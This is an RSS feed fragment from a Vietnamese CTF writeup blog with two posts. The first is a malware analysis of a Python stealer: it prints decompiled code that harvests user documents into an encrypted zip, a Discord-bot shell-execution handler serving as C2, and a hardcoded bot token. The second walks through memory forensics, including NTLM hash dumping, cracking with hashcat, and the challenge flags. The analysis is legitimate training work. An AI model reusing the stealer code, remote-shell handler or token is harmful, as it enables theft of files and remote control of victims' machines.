&lt;p&gt;Tiếp đó khi biết nó được compile bằng pyinstaller, ta sẽ sử dụng &lt;strong&gt;pyinstxtractor&lt;/strong&gt; để tách các tài nguyên như windows api, thư viện,... mà file .exe này yêu cầu khi chạy và đặc biệt ta sẽ lấy được file &lt;strong&gt;.pyc&lt;/strong&gt;, nó là file &lt;strong&gt;python byte code&lt;/strong&gt;.
https://github.com/extremecoders-re/pyinstxtractor
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/S1LMO1R7lg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Chúng ta thu được &lt;strong&gt;stealer.pyc&lt;/strong&gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/S1-NFkCQee.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;tiếp tục sử dụng &lt;strong&gt;uncompyle6&lt;/strong&gt; để decompile file &lt;strong&gt;stealer.pyc&lt;/strong&gt; và thu được &lt;strong&gt;stealer.py&lt;/strong&gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/By6G9JAmgx.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Đây là 1 phần script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# uncompyle6 version 3.9.2
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.12.3 (main, Feb  4 2025, 14:48:35) [GCC 13.3.0]
# Embedded file name: stealer.py
import discord
from discord.ext import commands
import os, zipfile, ctypes, ctypes.wintypes, winreg, base64, subprocess, requests, json, sqlite3, shutil
from Crypto.Cipher import AES
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes

class DATA_BLOB(ctypes.Structure):
    _fields_ = [
     (
      &quot;cbData&quot;, wintypes.DWORD),
     (
      &quot;pbData&quot;, POINTER(c_char))]


def OyKlniwfDd(blob_out):
    cbData = int(blob_out.cbData)
    pbData = blob_out.pbData
    buffer = ctypes.create_string_buffer(cbData)
    ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData)
    windll.kernel32.LocalFree(pbData)
    return buffer.raw


...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thằng này cũng đã bị obfuscate, nhưng chỉ là đặt tên biến, tên hàm bằng những chuỗi ngẫu nhiên thôi, không quá phức tạp.&lt;/p&gt;
&lt;p&gt;đây là 1 phần script khi đã được deobfuscate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import discord
from discord.ext import commands
import os, zipfile, ctypes, ctypes.wintypes, winreg, base64, subprocess, requests, json, sqlite3, shutil
from Crypto.Cipher import AES
from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes

class DATA_BLOB(ctypes.Structure):
    _fields_ = [
     (
      &quot;cbData&quot;, wintypes.DWORD),
     (
      &quot;pbData&quot;, POINTER(c_char))]


def extract_blob_data(blob_out):
    cbData = int(blob_out.cbData)
    pbData = blob_out.pbData
    buffer = ctypes.create_string_buffer(cbData)
    ctypes.cdll.msvcrt.memcpy(buffer, pbData, cbData)
    windll.kernel32.LocalFree(pbData)
    return buffer.raw


...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;script &lt;strong&gt;stealer.py&lt;/strong&gt; đã deofuscate
https://github.com/SawG23/CTF-writeups/blob/main/FIACTF2025/stealer_cleaned.py&lt;/p&gt;
&lt;p&gt;có một số hàm quan trọng như&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;find_and_encrypt_user_files():&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;def find_and_encrypt_user_files():
    target_extensions = [
     &apos;.png&apos;, &apos;.pdf&apos;, &apos;.jpg&apos;, &apos;.docx&apos;, &apos;.xlsx&apos;, &apos;.xls&apos;, &apos;.doc&apos;, &apos;.pptx&apos;, 
     &apos;.csv&apos;, 
     &apos;.rtf&apos;, &apos;.jpeg&apos;, &apos;.html&apos;, &apos;.odt&apos;, &apos;.sql&apos;, &apos;.txt&apos;, 
     &apos;.xml&apos;, &apos;.zip&apos;, 
     &apos;.rar&apos;, &apos;.7z&apos;, &apos;.tar&apos;, &apos;.gz&apos;, &apos;.tgz&apos;]
    user_profile_path = os.environ[&quot;USERPROFILE&quot;]
    target_directories = [
     os.path.join(user_profile_path, &quot;Desktop&quot;),
     os.path.join(user_profile_path, &quot;Documents&quot;),
     os.path.join(user_profile_path, &quot;Pictures&quot;),
     os.path.join(user_profile_path, &quot;Downloads&quot;),
     os.path.join(user_profile_path, &quot;Music&quot;),
     os.path.join(user_profile_path, &quot;Videos&quot;)]
    found_files = []
    for directory in target_directories:
        for root, _, files in os.walk(directory):
            for file_name in files:
                if any((file_name.endswith(ext) for ext in target_extensions)):
                    found_files.append(os.path.join(root, file_name))

    zip_path = os.path.join(target_directories, &quot;Upload.zip&quot;)
    try:
        with zipfile.ZipFile(zip_path, &quot;w&quot;) as zipf:
            for file_to_zip in found_files:
                zipf.write(file_to_zip, os.path.relpath(file_to_zip, user_profile_path))

        encrypt_file_with_rc4((f&quot;{zip_path}&quot;), (f&quot;{zip_path}&quot;), (f&quot;{get_public_ip()}&quot;))
    except Exception as e:
        try:
            return 0
        finally:
            e = None
            del e

    return zip_path
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Nó sẽ đánh cấp dữ liệu với các file có extension như &lt;strong&gt;&apos;.png&apos;, &apos;.pdf&apos;, &apos;.jpg&apos;, &apos;.docx&apos;, . . .&lt;/strong&gt; ở trong các thư mục &lt;strong&gt;Desktop, Documents, Downloads, . . .&lt;/strong&gt; của nạn nhân, đồng thời sẽ nén lại trong một file zip và sử dụng &lt;strong&gt;mã hóa RC4&lt;/strong&gt; với key là &lt;strong&gt;ip public&lt;/strong&gt; của máy nạn nhân, sau đó gửi đến &lt;strong&gt;C2 server&lt;/strong&gt; của hacker, ở trường hợp này sẽ là &lt;strong&gt;discord Guild&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;cmd_execute_shell():&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;@bot.command(name=&quot;execshell&quot;)
@commands.is_owner()
async def cmd_execute_shell(ctx, *args):
    try:
        command_string = &quot; &quot;.join(args)
        full_command = f&quot;powershell -Command {command_string}&quot;
        process_result = subprocess.run(full_command, shell=True, capture_output=True, text=True)
        output = process_result.stdout + process_result.stderr
        if len(output) &amp;lt; 1990:
            await ctx.send(f&quot;```\n{output}\n```&quot;)
        else:
            for i in range(0, len(output), 1990):
                await ctx.send(f&quot;```\n{output[i:i + 1990]}\n```&quot;)

    except Exception as e:
        try:
            return 0
        finally:
            e = None
            del e

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dùng để nhận lệnh từ C2 server và thực thi shell trên máy nạn nhân và gửi kết quả cho hacker.
Tương tự như vậy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;globalinfo: lấy thông tin của máy&lt;/li&gt;
&lt;li&gt;quit: ngắt kết nối&lt;/li&gt;
&lt;li&gt;steal: lấy hết thông tin trong browser của nạn nhân&lt;/li&gt;
&lt;li&gt;showHis: lấy thông tin lịch sử truy cập của nạn nhân&lt;/li&gt;
&lt;li&gt;showDown: xem lịch sử download của nạn nhân&lt;/li&gt;
&lt;li&gt;download: thực hiện lấy các file trên máy nạn nhân&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Một số thông tin về cấu hình C2 server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def main():
    run_full_browser_steal()
    bot.run(TOKEN)


TOKEN = &quot;MTA3NzU5NzY4MTgwOTExNzI1NA.GdNmEs.6Phdg_2uMHnZolzuXdz8OZZsTgpw63Df1vJtt0&quot;
SERVER_ID = int(get_env_variable_from_registry(&quot;_NT_SYMBOL_ID&quot;))
CHANNEL_ID = int(get_env_variable_from_registry(&quot;_NT_SYMBOL_CHANNEL_&quot;))
if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dựa vào đây chúng ta có thể tìm ra được C2 server bằng &lt;strong&gt;SERVER ID&lt;/strong&gt; mà malware đã ghi vào &lt;strong&gt;Registry&lt;/strong&gt; và tool sau: https://discordlookup.com/guild&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BINGOOO0o0o0ooo000o&lt;/strong&gt;
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkOfSeRmgl.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Nhưng tới đây vẫn chưa xong đâu :&amp;lt;&amp;lt; .
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/SkRNUeC7xe.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Flag chúng ta cần vẫn không nằm trong C2 server này.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJf6UlAQlg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Sau một hồi lục lọi thì tôi để ý đến file &lt;strong&gt;.zip&lt;/strong&gt; đã nén những dữ liệu của nạn nhân và gửi về C2. Oke tải nó về xem có gì thú vị không.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJ2gvlRmlx.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;
Chời ơi, nó lại bị gì thế này.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rkMuDxRQll.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;hmmmmmm..........
à đúng rồi, chúng ta đã quên rằng file &lt;strong&gt;.zip&lt;/strong&gt; này đã bị mã hóa &lt;strong&gt;RC4&lt;/strong&gt;, vậy thì decrypt thoi.
nhưng key (&lt;em&gt;ip public&lt;/em&gt;) ở đâu để decrypt?
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJ5qOeC7xg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;
Oke đây rồi, nó nằm trong đoạn chat của hacker và bot discord.&lt;/p&gt;
&lt;p&gt;oke header có &lt;strong&gt;PK&lt;/strong&gt; thì có vẻ uy tín rồi đấy.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJ3UteCQeg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Đây rồiiiiiiiiii.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HJi19l0Xge.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/H1PVqeCmxg.png&quot; alt=&quot;image&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Oke thì đấy là toàn bộ challenge này, một challenge tôi thấy rất thú vị.&lt;/p&gt;
&lt;p&gt;Cảm ơn bạn đã đọc đến cuối bài.&lt;/p&gt;
&lt;p&gt;____ EagleBoiz a.k.a SawG&lt;/p&gt;
</content:encoded></item><item><title>Bài tập của ai rồ Jerryyy - Vạn sự khởi đầu nan</title><link>https://sawg23.github.io/blog/posts/memlab/vansukhoidaunan/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/memlab/vansukhoidaunan/</guid><description>Bài này thuộc source MemLab, được idol Jerryyy lấy về để training memory forensics</description><pubDate>Thu, 27 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Oke thì đây là 1 wu của chall &quot;Vạn sự khởi đầu nan&quot;. Challenge này thuộc về mảng meme forensics&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/HyNQRi6tye.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Challenge sẽ có 1 file attachment .raw&lt;/p&gt;
&lt;p&gt;Bước đầu tiên trong các bài về memory, thường sẽ recon về hđh của máy, để phục vụ cho viện điều tra sâu hơn và cũng như là điều bắt buộc nếu sử dụng vol2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;╰─ python2 ~/tools/volatility2/vol.py -f Lab1.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/e/CTF/2025/lmaoCTF/Lab1.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800028100a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002811d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2019-12-11 14:38:00 UTC+0000
     Image local date and time : 2019-12-11 20:08:00 +0530
    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thì có thể thấy nó có rất nhiều profile trùng với con máy này, toi sẽ sử dụng &lt;strong&gt;Win7SP1x64&lt;/strong&gt; nhé.&lt;/p&gt;
&lt;p&gt;Tiếp theo thì xem những tiến trình đang chạy ở thời điểm capture để xem có gì sú sú không.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 pstree
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/SkLkcoaYJl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;thì ta có thể thấy có 1 vài process khá bất thường như &lt;strong&gt;cmd.exe&lt;/strong&gt;, &lt;strong&gt;mspaint.exe&lt;/strong&gt;(thằng này cũng được đề cập trong des &quot;&lt;em&gt;Khi xảy ra sự cố, tôi nhớ step bro mình đang vẽ một cái gì đấy. Đấy là toàn bộ những gì mình nhớ&lt;/em&gt;&quot;).&lt;/p&gt;
&lt;p&gt;Bắt đầu tìm hiểu xem thằng &lt;strong&gt;cmd.exe&lt;/strong&gt; đang làm gì.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/SyNmmi6F1x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nó đang thực hiện việc gọi tới 1 file gì đó tên là &lt;strong&gt;St4G3$1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;toi sẽ lục xem trong toàn hệ thống có file nào với tên &lt;strong&gt;St4G3$1&lt;/strong&gt; không.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/HksSQiaFkg.png&quot; alt=&quot;image&quot; /&gt;
&lt;em&gt;(toi đã ghi kết quả của filescan vào file text cho dễ xem lại kết quả)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;thì có 1 file là &lt;strong&gt;\Device\HarddiskVolume2\Windows\System32\St4G3$1.bat&lt;/strong&gt; đang nằm ở offset &lt;strong&gt;0x000000003edcfd70&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x000000003edcfc20      1      0 R--rw- \Device\HarddiskVolume2\Windows\System32\St4G3$1.bat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Toi sẽ dump để kiểm tra xem trong file đó có gì sú&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 dumpfiles --dump-dir=&quot;/mnt/e/CTF/2025/lmaoCTF&quot; -Q 0x000000003edcfc20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/Hk3FSs6Yyx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;thì sau khi dump ra và đổi tên file lại, thì toi bỏ nó vào &lt;strong&gt;HxD&lt;/strong&gt; để kiểm tra trước, thì thấy nó đang thực hiện việc echo 1 chuỗi base64, decode đoạn base64 này thì ta được flag 1 (thật ra chúng ta có thể decode ngay ở bước kiểm tra console, nhưng để mọi thứ sáng tỏ hơn thì toi đã dump ra luôn cho chắc).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/HJKRBjTFkg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag1: flag{th1s_1s_th3_1st_st4g3!!}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;vậy là giải quyết được 1/3 bài rồi, chúng ta tiếp tục nào.&lt;/p&gt;
&lt;p&gt;ở flag 2 chúng ta được 1 manh mối trong description là &lt;em&gt;&quot;Khi xảy ra sự cố, tôi nhớ step bro mình đang vẽ một cái gì đấy&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Liên kết với mô tả này, chúng ta cũng thấy có 1 thằng process là &lt;strong&gt;mspaint.exe&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/SkLkcoaYJl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Toi sẽ dump thử tiến trình này xem bên trong nó có gì thú vị không.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 memdump -p 2424 --dump-dir=&quot;/mnt/e/CTF/2025/lmaoCTF&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/rkRLvERY1l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thì ta được 1 file 2424.dmp&lt;/p&gt;
&lt;p&gt;Tới đây toi lại gặp bế tắc, toi éo biết mở cái file này kiểu éo gì. Thử &lt;strong&gt;strings&lt;/strong&gt;, &lt;strong&gt;HxD&lt;/strong&gt;,... để xem rùa được không thì cũng không ăn thua.&lt;/p&gt;
&lt;p&gt;Toi stuck ở đây chắc 3 4 tiếng, thấy mất thời gian quá toi qua đấm thử chall cuối luôn xem sao.&lt;/p&gt;
&lt;p&gt;Toi bắt đầu lục lọi xem có manh mối gì cho chall3 không.&lt;/p&gt;
&lt;p&gt;Cũng loay hoay một hồi không có gì để xoáy vào, thì toi mới nhớ idol toi có bảo nên sử dụng song song cả vol2 và vol3, nhiều lúc thằng này có mà thằng kia không có.&lt;/p&gt;
&lt;p&gt;Toi bắt đầu pstree lại bằng vol3 để xem thử&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vol -f Lab1.raw windows.pstree &amp;gt; pstreeVol3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thì quả nhiên là có 1 process đang chạy WinRar mà có thể toi đã sót khi dùng vol2(pstree của vol3 cung cấp thông tin chi tiết hơn so với vol2).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/ryXshjpKJx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nó đang mở một file có tên là &lt;strong&gt;Important.rar&lt;/strong&gt;. Thử qua filescan để xem vị trí file và offset của nó để tiện cho việc dump file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/ry-4TjpFyx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oke chúng ta sẽ dump nó ra.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 dumpfiles --dump-dir=&quot;/mnt/e/CTF/2025/lmaoCTF&quot; -Q 0x000000003fa3ebc0
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x3fa3ebc0   None   \Device\HarddiskVolume2\Users\Alissa Simpson\Documents\Important.rar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;khi mở &lt;strong&gt;Important.rar&lt;/strong&gt; này bằng WinRar thì có 1 dòng description:
&lt;em&gt;&quot;Password is NTLM hash(in uppercase) of Alissa&apos;s account passwd.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/SkrjuqpYyl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Dựa vào mô tả trên, toi dùng &lt;strong&gt;hashdump&lt;/strong&gt; để trích xuất các hash của các mật khẩu từ bộ nhớ của windows để lấy NTLM hash của user Alissa.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 ~/tools/volatility2/vol.py -f Lab1.raw --profile Win7SP1x64 hashdump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/ryVOc96YJe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Toi sẽ crack NTLM hash này bằng hashcat&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 1000 -a 0 test.txt rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;và đây là kết quả:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;f4ff64c8baac57d22f22edc681055ba6:goodmorningindia

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: f4ff64c8baac57d22f22edc681055ba6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tôi sử dụng đoạn string đã được crack ở trên để nhập pass cho thằng Important.rar này. Nhưng tđn nó lại sai, wthhhhhhhhhhhhh.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/r1iwhcpt1g.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;xong wtf toi mới đọc lại description và nhận ra là éo cần crack, chỉ cần nhập chính xác đoạn NTLM hash đó ở dạng uppercase là được. Mé. Thoi dù gì cũng đã giải &lt;em&gt;easter egg&lt;/em&gt; của tác giả vậy.&lt;/p&gt;
&lt;p&gt;Trong file rar đó của 1 bức ảnh flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/ByUT2qpFke.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag3: flag{w3ll_3rd_stage_was_easy}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;Oke thì sau khi xong chall3 toi quầy lại chall2 để làm tiếp thì cũng éo thấy manh mối gì, bí quá toi đành đánh 1 giấc rồi tính :clown_face:.&lt;/p&gt;
&lt;p&gt;Sau thời gian research mòn mỏi thì toi cũng đã tìm thấy được 1 writeup của giải Google-CTF-2016, trong đó có để cập việc xử lý raw image data bằng app &lt;strong&gt;GIMP&lt;/strong&gt; (Chân ái đây rồi).&lt;/p&gt;
&lt;p&gt;https://github.com/h4x0r/ctf-writeups/blob/master/Google-CTF-2016/For1/README.md&lt;/p&gt;
&lt;p&gt;Trong writeup này cũng đề cập đến 1 cái blog:
https://w00tsec.blogspot.com/2015/02/extracting-raw-pictures-from-memory.html&lt;/p&gt;
&lt;p&gt;Trước khi mở file raw image data này bằng &lt;strong&gt;GIMP&lt;/strong&gt; thì chúng ta cần đổi file extension của nó từ .dmp -&amp;gt; .data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/BkHsfSCFyg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lúc đầu khi mở nó chỉ là màu trắng này thoi, chúng ta cần phải điều chỉnh các thông số như offset, width, height của nó.&lt;/p&gt;
&lt;p&gt;:shit: quằng kinh khủng.&lt;/p&gt;
&lt;p&gt;Sau gần nửa tiếng hơn ngồi chỉnh tới lui thì nó cũng ra giống giống flag hơn rồi đấy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/HJpJ-r0K1x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nhưng nếu để nhưng vậy thì đọc lòi mắt cũng chưa chắc được flag, nên chúng ta cần điều chỉnh thêm về việc xoay(rotate) và lật(flip) bức ảnh. Research cách dùng app này thì nó nằm ở mục tools nhé.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/vansukhoidaunan/rJHoMERYJx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sau 1 vài điều chỉnh thì chúng ta cũng đã lấy được flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag2: flag{G00d_Boy_good_girL}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
</content:encoded></item></channel></rss>